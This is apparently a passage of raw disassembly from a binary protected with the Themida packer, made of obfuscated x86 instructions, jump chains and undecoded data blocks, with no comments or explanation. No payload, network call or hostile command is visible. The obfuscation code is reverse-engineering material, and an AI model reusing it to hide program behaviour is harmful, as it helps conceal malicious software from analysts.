		dd 3C9DB924h, 0CB2101F7h, 0FFFF2AE9h, 4EC81FFh,	89000000h
		dd 0EB9240Ch, 294ED042h, 7651E9CEh, 48FFFFFh, 0AF0F5C24h
		dd 0E99C51C8h, 0FFFF5A7Ah, 0E95BD829h, 0FFFFFCE6h, 405h
		dd 40500h, 4330000h, 0DBB7E924h, 215EFFFFh, 908EE9F2h
		dd 0C87FFFFh, 24248B24h, 56243C89h, 86546468h, 0D6F75E75h
		dd 0AB9FB951h, 0CE318A79h, 0FF945BE9h, 43EE81FFh, 8178863Fh
		dd 94D0D6F6h, 5EF101B4h, 0E904E983h, 0FFFFFFCAh, 0FF2434FFh
		dd 56592434h, 53515E54h, 283D54BBh, 5E3C15Bh, 0BC381h
		dd 0D3F77F51h, 363AC381h, 0EB8129A4h, 0EE087CCFh, 0FFA7E9E9h
		dd 21F381FFh, 8944A590h, 241C8BDEh, 5604C483h, 0FA629ABEh
		dd 0D3F7E93Eh, 0C681FFFFh, 507D18F0h, 5D5EF029h, 205h
		dd 74FF5000h, 48B0424h,	4C48324h, 5C24048Fh, 0FFEF07E9h
		dd 3B252FFh, 502ACA80h,	0F4805AB4h, 0C266E9DCh,	0C581FFFFh
		dd 4, 2474FF55h, 89BFE904h, 0CA01FFFFh,	81240C8Bh, 4C4h
		dd 0BD555000h, 583D09E8h, 3D09EAB8h, 5DE82958h,	10D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5506C5:				; CODE XREF: Themida_:0054D844j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_549996
; ---------------------------------------------------------------------------

loc_5506CE:				; CODE XREF: Themida_:005469F5j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	6960h
		mov	[esp], esi
		jmp	loc_547AA4
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 16C9BD24h, 0AEE9401Fh, 68000017h, 6077h, 54240489h
		dd 5624048Bh, 0C681E689h, 4, 3304C683h,	34312434h, 24343324h
		dd 4055Ch, 9BE90000h, 80000016h, 0EB80AFC2h, 0E9D3283Eh
		dd 0AD0h, 1C8BDA01h, 9D63E924h,	0C681FFFFh, 32673AF4h
		dd 5350D601h, 0FFF532E9h, 0E1805BFFh, 0D0C9800Eh, 0FFA881E9h
		dd 6865BDFFh, 0EB896F51h, 1B1E9h
		db 0
; ---------------------------------------------------------------------------

loc_550761:				; CODE XREF: Themida_:0054C7BAj
		mov	esi, [esp]
		jmp	loc_549BE9
; ---------------------------------------------------------------------------
		db 5Ch,	1, 0EAh
		dd 621BBF57h, 56E9228Ah
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550777:				; CODE XREF: Themida_:00550D2Aj
		shr	edi, 6
		not	edi
		sub	edi, 0CCC027B5h
		sub	ebp, edi
		pop	edi
		shr	ebp, 5
		add	ebp, 0FFFFFFFFh
		jmp	loc_54646D
; ---------------------------------------------------------------------------
		dd 87665966h, 8B662404h, 89532414h, 4C381E3h, 83000000h
		dd 1C8702C3h, 87665C24h, 8BE92414h, 66FFFF58h, 58F8685Ah
		dd 0C890000h, 0C0D5B124h, 0E95307E9h, 0FFFFBA2Eh
; ---------------------------------------------------------------------------

loc_5507C8:				; CODE XREF: Themida_:0054F93Bj
		push	32D1h
		mov	[esp], eax
		jmp	loc_54B7AB
; ---------------------------------------------------------------------------

loc_5507D5:				; CODE XREF: Themida_:0054D957j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5467AF
; ---------------------------------------------------------------------------
		dd 0CFA9E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5507F6:				; CODE XREF: Themida_:0054ED31j
		add	ecx, 4
		jmp	loc_5487D0
; ---------------------------------------------------------------------------
		db 5Dh,	0F7h, 0D1h
		dd 0C981D9F7h, 3ECC355Ah, 0FFA371E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550811:				; CODE XREF: Themida_:00551AFDj
		xor	edi, 50F1025h
		add	ecx, edi
		jmp	loc_550F8F
; ---------------------------------------------------------------------------

loc_55081E:				; CODE XREF: Themida_:0054938Bj
		pop	ebp
		and	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54CF70
; ---------------------------------------------------------------------------

loc_550832:				; CODE XREF: Themida_:00546F68j
		push	eax
		pop	ecx
		pop	eax
		xor	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_546450
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 50CB2877h, 2B2C8CB0h, 0E8C0D0F6h, 8E0C008h, 0E903E8C0h
		dd 0FFFF5ADAh, 24048B66h, 1B2CE9h, 24043300h, 0FF6B96E9h
		dd 0DD3159FFh, 81241C8Bh, 4C4h,	8BE82900h, 0C481242Ch
		dd 4, 0B9E9D829h, 0B1FFFF63h, 0E9F10078h, 0FFFFF3B8h, 3168B82Dh
		dd 58C5890Ch, 2C8BEB01h, 0A2EAE924h, 0EA89FFFFh, 0FF6D8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5508AD:				; CODE XREF: Themida_:0054A719j
		sub	ebx, edx
		jmp	loc_552494
; ---------------------------------------------------------------------------
		dd 0CFF0E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5508BA:				; CODE XREF: Themida_:00549F39j
		mov	esi, 55DE1B95h
		and	esi, 42CF5F2Eh
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		neg	ebp
		xchg	ebp, esi
		shr	esi, 5
		push	edi
		push	6EED738Ah
		pop	edi
		push	esi
		mov	esi, 77CF1C80h
		jmp	loc_54C7B8
; ---------------------------------------------------------------------------
		dd 3B59BA52h, 3E92FE9h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5508EF:				; CODE XREF: Themida_:0054AEEBj
		add	edx, 4
		push	ecx
		jmp	loc_54C248
; ---------------------------------------------------------------------------
		db 89h
		dd 97E9240Ch
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550903:				; CODE XREF: Themida_:0054757Aj
		push	edi
		jmp	loc_547AFB
; ---------------------------------------------------------------------------
		db 0D2h, 2 dup(24h)
		dd 14E9E99Ch, 815D0000h, 892C34EBh, 0BAEB816Bh,	0E908FB16h
		dd 0FFFFB1A7h, 4C481h, 0E9520000h, 0A51h
; ---------------------------------------------------------------------------

loc_550930:				; CODE XREF: Themida_:00547F2Ej
		pop	ebp
		push	72C6h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54F596
; ---------------------------------------------------------------------------
		db 80h
		dd 30E9BBE4h, 0B0FFFFD5h, 0AD11E9CEh, 0E189FFFFh, 0FFDD0AE9h
		dd 58E628FFh, 0FF610BE9h, 24248BFFh, 24048966h,	0FF56C9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550975:				; CODE XREF: Themida_:00546834j
		mov	ecx, 325B5E7Bh
		neg	ecx
		sub	ecx, 24E30E63h
		xor	ecx, 0A9919316h
		xor	ebp, ecx
		pop	ecx
		add	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 5BD853DCh
		jmp	loc_549BB3
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 5
		dd 6070F781h, 0F92991C0h, 0E908E95Fh, 48BFFFFh,	2CE36824h
		dd 14890000h, 34FF5424h, 0C4835A24h, 4C28104h, 81000000h
		dd 4ECh, 24348900h, 4BEh, 7EC28100h, 160913Bh, 7EEA81F2h
		dd 0E960913Bh, 0A77h, 5C243C87h, 83240C8Bh, 148904ECh
		dd 51A66824h, 4D680000h, 54000074h, 8324048Fh, 8F042404h
		dd 0BE562404h, 4, 4247401h, 8BE95A5Eh, 68FFFF56h, 30EB6D15h
		dd 3DEE815Eh, 0F7522803h, 0EE8146D6h, 213C9624h, 55EF389h
		dd 3292745Dh, 0FF6BCCE9h, 0E9CB28FFh, 0FFFFD004h
; ---------------------------------------------------------------------------

loc_550A40:				; CODE XREF: Themida_:0055176Dj
		sub	bl, 0D6h
		shr	bl, 1
		jmp	loc_55005E
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0BA525524h, 22CA3980h, 0FF5D30E9h, 5E089FFh,	4, 42Dh
		dd 24048700h, 48F545Ch,	24048124h, 4, 0C20DE95Fh, 0D801FFFFh
		dd 0FFDFDDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550A81:				; CODE XREF: Themida_:005485B3j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_54C25A
; ---------------------------------------------------------------------------
aHc		db '\hæ',0Dh,0
		align 2
		dw 489h
		dd 0E9E08924h, 0FFFF912Bh, 9306E959h, 5A54FFFFh, 0BA28E955h
		dd 5A66FFFFh, 0C91FE950h, 148BFFFFh, 1718E924h,	0C2830000h
		dd 24148704h, 6824248Bh, 5535h,	0E9240C89h, 0FFFF8FD8h
		dd 0E904C483h, 0FFFF7FECh, 13FA68h, 240C8900h, 0FFC7CAE9h
		dd 24148BFFh, 4C481h, 0E9530000h, 0FFFF7A5Bh, 66E9DF01h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550AFB:				; CODE XREF: Themida_:0054749Aj
		pop	ecx
		shl	ebx, 6
		push	3352h
		jmp	loc_54B5DC
; ---------------------------------------------------------------------------
		db 0B5h, 4Fh, 0E9h
		dd 0FFFF5EA0h, 0BD242C89h, 441D70A1h, 2C8BEB29h, 0E3895324h
		dd 4C381h, 0F1E90000h, 68FFFF97h, 30CEh, 0E9243489h, 0FFFFA2ECh
; ---------------------------------------------------------------------------

loc_550B38:				; CODE XREF: Themida_:00550C89j
		neg	esi
		add	esi, 2E607B22h
		sub	esi, 4AA35937h
		add	esi, 0DCBBE2ECh
		sub	edi, esi
		pop	esi
		jmp	loc_547A26
; ---------------------------------------------------------------------------
		dd 0A8415905h, 0F6E0E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550B5E:				; CODE XREF: Themida_:0054A16Bj
		mov	ebp, 3B562396h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54C264
; ---------------------------------------------------------------------------
		dw 5451h
		dd 6AE95059h, 66FFFF5Ah, 81CCB60Fh, 4ECh, 0BD09E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550B86:				; CODE XREF: Themida_:0054D78Fj
		shr	ecx, 6
		jmp	loc_547384
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 715D8D2Dh, 0B393E94Ah, 1489FFFFh, 0E95CB224h, 0A3Ch
		dd 0E924048Fh, 0FFFF996Ch, 219E958h, 0C6810000h, 4, 4BB53h
		dd 0DE010000h, 0FFF78CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550BC5:				; CODE XREF: Themida_:005460BFj
		mov	ebp, 4CCF6B81h
		push	eax
		mov	eax, 78EA4F09h
		not	eax
		xor	eax, 0B2619D92h
		jmp	loc_546E19
; ---------------------------------------------------------------------------
		dd 5104C483h, 8E080FB9h, 5FE95309h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550BEB:				; CODE XREF: Themida_:0054D718j
		sub	edx, 55785B8Bh
		xor	edx, 0B5109F9h
		dec	edx
		add	edx, 110D5E93h
		push	edx
		sub	dword ptr [esp], 5FC34A02h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54B20A
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 0C875DE9h,	0B678E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550C22:				; CODE XREF: Themida_:0054B885j
		xor	edx, esi
		mov	esi, [esp]
		jmp	loc_54F935
; ---------------------------------------------------------------------------

loc_550C2C:				; CODE XREF: Themida_:0054F47Ej
		add	esp, 4

loc_550C32:				; CODE XREF: Themida_:loc_54C2E5j
					; Themida_:005524C6j
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5474EA
; ---------------------------------------------------------------------------

loc_550C50:				; CODE XREF: Themida_:0054DF8Cj
		mov	edx, 9D25C70h
		push	ebp
		push	edx
		mov	edx, 6CB34CF1h
		xor	edx, 395E0796h
		mov	ebp, edx
		pop	edx
		xor	edx, ebp
		jmp	loc_548F8E
; ---------------------------------------------------------------------------
		dd 3F7BC381h, 0E94377AEh, 0FFFF627Dh
; ---------------------------------------------------------------------------

loc_550C78:				; CODE XREF: Themida_:0054D7E8j
		sub	edi, 914643h
		push	esi
		mov	esi, 7FE16C4Fh
		sub	esi, 1
		neg	esi
		jmp	loc_550B38
; ---------------------------------------------------------------------------

loc_550C8E:				; CODE XREF: Themida_:0054ED3Cj
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_546B45
; ---------------------------------------------------------------------------

loc_550C9C:				; CODE XREF: Themida_:00546ECBj
		mov	[esp], edx
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	ecx
		push	edi
		jmp	loc_547E93
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 55000000h, 2FD273BDh, 6DBA526Ch, 0E93F9456h,	35Ch, 6604C483h
		dd 0E9D48850h, 0FFFFDCA6h, 4D7F052Dh, 9226E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550CE2:				; CODE XREF: Themida_:00550F52j
		sub	esi, 7E536E6h
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5479A2
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0F6516615h, 66012454h, 83240C8Bh, 0DDF602C4h, 0FF72CDE9h
		dd 885058FFh, 88D0F6C8h, 9EE958C1h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D1F:				; CODE XREF: Themida_:00552477j
		mov	ebp, 5B5375DAh
		push	edi
		mov	edi, 3EF4530Dh
		jmp	loc_550777
; ---------------------------------------------------------------------------
		db 68h
		dd 73BCh, 54240489h, 8124048Bh,	4C4h, 40500h, 0BE560000h
		dd 2, 9D5AF505h, 619F2D49h, 2BE9490Fh
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D5B:				; CODE XREF: Themida_:0054F090j
		pop	esp
		jmp	loc_54DB03
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 0BBh
		dd 14E4F95h, 1C8BDD09h,	0C9E9E924h, 0E688FFFFh,	0B09AE953h
		dd 0E6C1FFFFh, 0E9CE8102h, 817ADB6Eh, 171F20F6h, 27B85004h
		dd 48589115h, 0FF8AD2E9h, 48F59FFh, 0C8B5C24h, 2D5A6824h
		dd 0C890000h, 7FE95424h, 87FFFFEEh, 8EE92404h, 66FFFF6Dh
		dd 65A8CF81h, 0D4F5E952h, 0E289FFFFh, 4C281h, 89E90000h
		dd 87FFFFACh, 0D35C243Ch, 67E92424h, 0C1FFFF52h, 0E95705E9h
		dd 10B4h, 0E3054859h, 0E9FF31BEh, 0FFFFB016h, 5F6CAFB8h
		dd 3913B971h, 17E91612h, 1FFFFB9h, 0FE015AD7h, 1EE9515Fh
		dd 68FFFFD9h, 0
		dd 28242C81h, 815BFF23h, 6C88242Ch, 1C295188h, 24048124h
		dd 51886C88h, 0FF7190E9h, 3C895CFFh, 0BCFFE924h, 5966FFFFh
		dd 0B60FC330h, 8734FFC0h, 0FF2434FFh, 0E9582434h, 0FFFFD134h
		dd 348BF101h, 0E6895624h, 210E9h, 87D6F700h, 0D1C781F7h
		dd 298FE340h, 348B5FF8h, 0E6895624h, 4C681h, 4DE90000h
		dd 0D1FFFF83h, 55F381E3h, 0E920D014h, 0FFFF64A5h, 66E980h
		dd 5B59C8h, 515366D8h, 0FFCA58E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550E91:				; CODE XREF: Themida_:0054B938j
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		push	ebx
		jmp	loc_54F04E
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 7E90000h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550EB3:				; CODE XREF: Themida_:0054C305j
		sub	[edi+24h], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_54B105
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0E3h
		dd 891662CAh, 0B2D5EF5h, 16EC47Ch, 7C0B05E8h, 2C8B6EC4h
		dd 4C48124h, 5D000000h,	5C68C381h, 0C3814782h, 14AE5051h
		dd 0E768C329h, 89000032h, 16682404h, 8B78127Ch,	0C4812404h
		dd 4, 0BC2C4735h, 8BC3816Ch, 291A3769h,	8BEB81C3h, 8B1A3769h
		dd 0C4832404h, 113CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550F3E:				; CODE XREF: Themida_:0054CBA7j
		mov	edi, [esp]
		add	esp, 4
		add	esi, 0CAE475Ah
		add	esi, ebx
		sub	esi, 0CAE475Ah
		jmp	loc_550CE2
; ---------------------------------------------------------------------------

loc_550F57:				; CODE XREF: Themida_:0054D11Fj
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		jmp	loc_549792
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFB579E9h, 4C681FFh, 53000000h, 268h, 0EE815B00h, 343905B1h
		dd 4C9C681h, 0C6812325h, 1CE934B6h, 1DE9DE01h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F8F:				; CODE XREF: Themida_:00550819j
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 4
		jmp	loc_547CB4
; ---------------------------------------------------------------------------

loc_550FA2:				; CODE XREF: Themida_:00548EF9j
		mov	ecx, [esp]
		add	esp, 4
		push	small 47C3h
		jmp	loc_549AAF
; ---------------------------------------------------------------------------
		dd 83E9028Fh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550FBB:				; CODE XREF: Themida_:005482B9j
		xor	ebp, 440460CAh
		dec	ebp
		add	ebp, 3B8AD252h
		sub	eax, ebp
		pop	ebp
		pop	esi
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_546D8C
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 9593EB81h, 6E05EC08h, 533DEC66h, 742700BBh, 0D485E928h
		dd 6CB9FFFFh, 0C1442119h, 0E9C103E1h, 0F1814102h, 33874CEh
		dd 0C8BCE01h, 0C2DDE924h, 0F531FFFFh, 0FF6C47E9h, 5005ADFFh
		dd 5305141Ah, 59EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55101D:				; CODE XREF: Themida_:0054A4E0j
		add	edi, 4
		jmp	loc_546D24
; ---------------------------------------------------------------------------
		dd 54D8CA81h, 0E2813E89h, 41611A29h, 252F281h, 0E95530EDh
		dd 0FFFFA245h, 0FF240489h, 34FF2434h
		db 24h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5481AE
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFFB7A8h
; ---------------------------------------------------------------------------

loc_551070:				; CODE XREF: Themida_:00547600j
		push	ecx
		push	6AF53C05h
		pop	ecx
		push	ecx
		push	90133A3h
		pop	ecx
		sub	ecx, 869EADCBh
		push	ebx
		push	ecx
		sub	dword ptr [esp], 3678139Fh
		pop	ebx
		add	ebx, 3678139Fh
		jmp	loc_54A6C6
; ---------------------------------------------------------------------------

loc_551099:				; CODE XREF: Themida_:00547D56j
		add	ebp, 4
		jmp	loc_54C332
; ---------------------------------------------------------------------------

loc_5510A4:				; CODE XREF: Themida_:0054ACD7j
		add	esi, 4
		jmp	loc_54F7E7
; ---------------------------------------------------------------------------

loc_5510AF:				; CODE XREF: Themida_:0054CDB5j
		pop	edi
		jmp	loc_5497E2
; ---------------------------------------------------------------------------
		db 88h,	0E1h, 58h
		dd 0CB88D1F6h, 240C8B66h, 5E08950h, 4, 5002C083h, 42474FFh
		dd 0FFA735E9h, 0DA295AFFh, 68241C8Bh, 7E7Ch, 89240489h
		dd 7C77E9E0h, 8B66FFFFh, 0C4812414h, 2,	0FFBC8DE9h, 0F8E953FFh
		dd 5AFFFF89h, 0FF8B19E9h, 72CB81FFh, 0C1294737h, 0E38108EBh
		dd 6D3D26E4h, 30C9F381h, 0D889250Ah, 36E9355Bh,	0C1012523h
		dd 2BD5558h, 0E9000000h, 1037h,	0A680E956h, 4DB8FFFFh
		dd 893B545Bh, 0CF8158C7h, 46C252A7h, 0A4B8E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55114A:				; CODE XREF: Themida_:0054E3C2j
		sub	ecx, 4
		jmp	loc_54D1E6
; ---------------------------------------------------------------------------

loc_551152:				; CODE XREF: Themida_:0054DCF9j
		add	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 5AA173ECh
		sub	edi, 2E757D7Ch
		shl	edi, 1
		shl	edi, 2
		jmp	loc_5517CB
; ---------------------------------------------------------------------------
		dw 478Fh
		dd 38B85040h, 0E942E92Bh, 38Ch,	5037BF57h, 0EFC1668Dh
		dd 23CF8104h, 0E953DD59h, 0FFFF9B14h, 425CE581h, 0BB532B1Fh
		dd 7AF51EC1h, 6119EB81h, 0DD01A40Ch, 5DEA015Bh,	502968h
		dd 0CBB6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5511BA:				; CODE XREF: Themida_:0054DB84j
		neg	edx
		not	edx
		not	edx
		xor	edx, 29D96319h
		push	esi
		jmp	loc_54B880
; ---------------------------------------------------------------------------
		dd 295DE801h, 5D7E2DE8h, 535D41EBh, 8374A9BBh, 5BD80100h
		dd 295C232Dh, 305D0512h, 0E801441Ch, 1C305D2Dh,	5C230544h
		dd 0A92D1229h, 0E9008374h, 591h, 3EB652h, 24148BF3h, 4C481h
		dd 148B0000h, 4C48324h,	0FFB76BE9h, 240401FFh, 4E1CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551222:				; CODE XREF: Themida_:0054B57Cj
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_54E421
; ---------------------------------------------------------------------------

loc_551230:				; CODE XREF: Themida_:0054B4ECj
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], edx
		mov	ecx, [esp]
		push	esi
		jmp	loc_54A4C2
; ---------------------------------------------------------------------------

loc_551249:				; CODE XREF: Themida_:0054F83Bj
		xor	edi, 69D05053h
		jmp	loc_5514AB
; ---------------------------------------------------------------------------
		dd 54E9F188h, 0B7FFFF65h, 5AD70089h, 8B66F830h,	0EC81241Ch
		dd 4, 0E9241489h, 8B6h,	0E9E7ED80h, 0FFFF9DDAh,	4136A05h
		dd 8BC50157h, 54512404h, 4C18159h, 81000000h, 4C1h, 240C8700h
		dd 2C5815Ch, 87000000h,	248B242Ch, 67A0E924h, 3068FFFFh
		dd 89000063h, 0E789243Ch, 8904EC83h, 22BB241Ch,	5320857Bh
		dd 0FF99B8E9h, 242C89FFh, 0FF71ABE9h, 3C77FFFFh, 0FF2434FFh
		dd 48B2434h, 6BEB6824h,	4890000h, 0E9E08924h, 0FFFFB10Eh
; ---------------------------------------------------------------------------

loc_5512E8:				; CODE XREF: Themida_:0054EE0Ej
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		imul	cx
		push	small 1A1Fh
		jmp	loc_54E4C6
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 92h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551303:				; CODE XREF: Themida_:0054700Cj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54E8DA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 240C8B24h, 4C481h, 0C4830000h, 0F840E904h
		dd 0E95AFFFFh, 0FFFFBD1Fh, 9C8882BFh, 0FABDE983h, 0B850FFFFh
		dd 1E371E7Dh, 0D24E20Dh, 0E9D8F722h, 0FFFF7119h, 672CF828h
		dd 1C8BAB2Ch, 4C48124h,	53000000h, 0E2B65251h, 0FFC0CAE9h
		dd 243C33FFh, 0E9243C31h, 0FFFFBDFCh, 0A1685751h, 5F4D0D49h
		dd 394E9h, 6EB2BA00h, 0D0312C18h, 0AF49E95Ah, 4D3FFFFh
		dd 0A7E99C24h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551397:				; CODE XREF: Themida_:0054A081j
		add	edx, 4
		jmp	loc_54BEBA
; ---------------------------------------------------------------------------
		db 0F7h
		dd 50DEF7D6h, 0FFE40AE9h, 240433FFh, 0FFC835E9h, 243C89FFh
		dd 5404EC83h, 8124048Fh, 42404h, 3C8B0000h, 4C48324h, 4D9A68h
		dd 240C8900h, 4B9h, 800AE900h, 48FFFFFh, 24248B24h, 8904EC83h
		dd 0B9240Ch, 81000000h,	0E223C0C1h, 81C10118h, 0E223C0E9h
		dd 10886818h, 1C890000h, 0BA5224h, 89000000h, 0B9515AD3h
		dd 44DB401Bh, 159CB01h,	1BEB81CBh, 5144DB40h, 0FF98CDE9h
		dd 0E9E829FFh, 0FFFF59B7h
; ---------------------------------------------------------------------------

loc_551428:				; CODE XREF: Themida_:00548A30j
		push	697Eh
		mov	[esp], edx
		push	5067h
		mov	[esp], ebx
		mov	ebx, 14A264AEh
		xor	ebx, 33C540A2h
		mov	edx, ebx
		pop	ebx
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	1B1Ah
		jmp	loc_54B906
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835E2434h, 148704C4h, 24248B24h, 4313B850h, 4429610Dh
		dd 0A8E90424h, 58FFFFE3h, 0BF57535Ah, 1CA56D80h, 0E92CC568h
		dd 241C8B20h, 0E9E28952h, 0FFFFB996h, 6866h, 243C2966h
		dd 0FF9A0CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55149D:				; CODE XREF: Themida_:005524A4j
		add	esp, 4
		xor	edx, edx
		push	edi
		jmp	loc_54A02C
; ---------------------------------------------------------------------------

loc_5514AB:				; CODE XREF: Themida_:0055124Fj
		sub	ecx, edi
		pop	edi
		jmp	loc_54C025
; ---------------------------------------------------------------------------
		db 0B9h
		dd 14426B79h, 759AF181h, 0C80176BBh, 2DD80159h,	62F91EE3h
		dd 4A13E02Dh, 2434FF27h, 81241C8Bh, 4C4h, 4C48100h, 87000000h
		dd 665C2404h, 2404AB0Fh, 4B50E99Ch, 3C87FFFFh, 24248B24h
		dd 81E38953h, 4C3h, 4BA5200h, 1000000h,	0FF535AD3h, 0E9042474h
		dd 0FFFF921Fh, 8B404729h, 0E9552404h, 0FFFF63EFh, 0FE95655h
		dd 81FFFF58h, 0C83F2DC3h, 0E096E9E7h, 0EB81FFFFh, 4, 5C241C87h
		dd 68240489h, 128h, 52242489h, 4BAh, 24540100h,	52F1E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551552:				; CODE XREF: Themida_:00548B81j
		mov	ebx, 5E61373Bh
		and	ebx, 195A5E52h
		and	ebx, 2C7553AEh
		xchg	ebp, ebx
		not	ebp
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_54CF46
; ---------------------------------------------------------------------------
		dd 0C181D1F7h, 43491DE8h, 0C181D9F7h, 8BDBA618h, 0FFE4CCE9h
		dd 75EBB8FFh, 39250FB1h, 3549FF0Eh, 3D9A6BB5h, 0E543DD05h
		dd 5A663550h, 0BB0D0052h, 2D0B045Ch, 4EC0BB0Ah,	86E9C501h
		dd 66FFFF56h, 66241489h, 0DEE99C50h, 56FFFF7Dh,	4565E1BEh
		dd 0AD0BE95Bh, 52ACFFFFh, 0EA809EB2h, 7ED0E94Bh, 0BB53FFFFh
		dd 4, 0E95BDD01h, 0FFFF625Ch, 49F280h, 24148BD0h, 0FFC47FE9h
		dd 0C3015EFFh, 4EC8356h, 0FF8A05E9h, 40EA80FFh,	0FF4DCEE9h
		dd 2434FFFFh, 0FFD229E9h, 0E9D9F7FFh, 0FFFFD883h, 2BB53h
		dd 0DF010000h, 243C875Bh, 6624248Bh, 5324048Bh,	5752E389h
		dd 477DBE56h, 30BF5EADh, 315C6102h, 0D7BBE9F7h,	9CBAFFFFh
		dd 891D8662h, 0C1485AD0h, 0E0C108E0h, 0FFBF5707h, 2DFFFFFFh
		dd 40196E21h, 2105F801h, 5F40196Eh, 41456435h, 0FFC13153h
		dd 0ABE92434h, 88FFFFC8h, 873C88EFh, 240C8B5Bh,	4C481h
		dd 0BFE90000h, 54FFFF49h, 8124148Bh, 4C4h, 0D210E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55168E:				; CODE XREF: Themida_:005460B9j
		mov	edi, 28CF3866h
		jmp	loc_546406
; ---------------------------------------------------------------------------
		dd 1BB534Fh, 0E91C062Dh, 306h, 83E95F52h
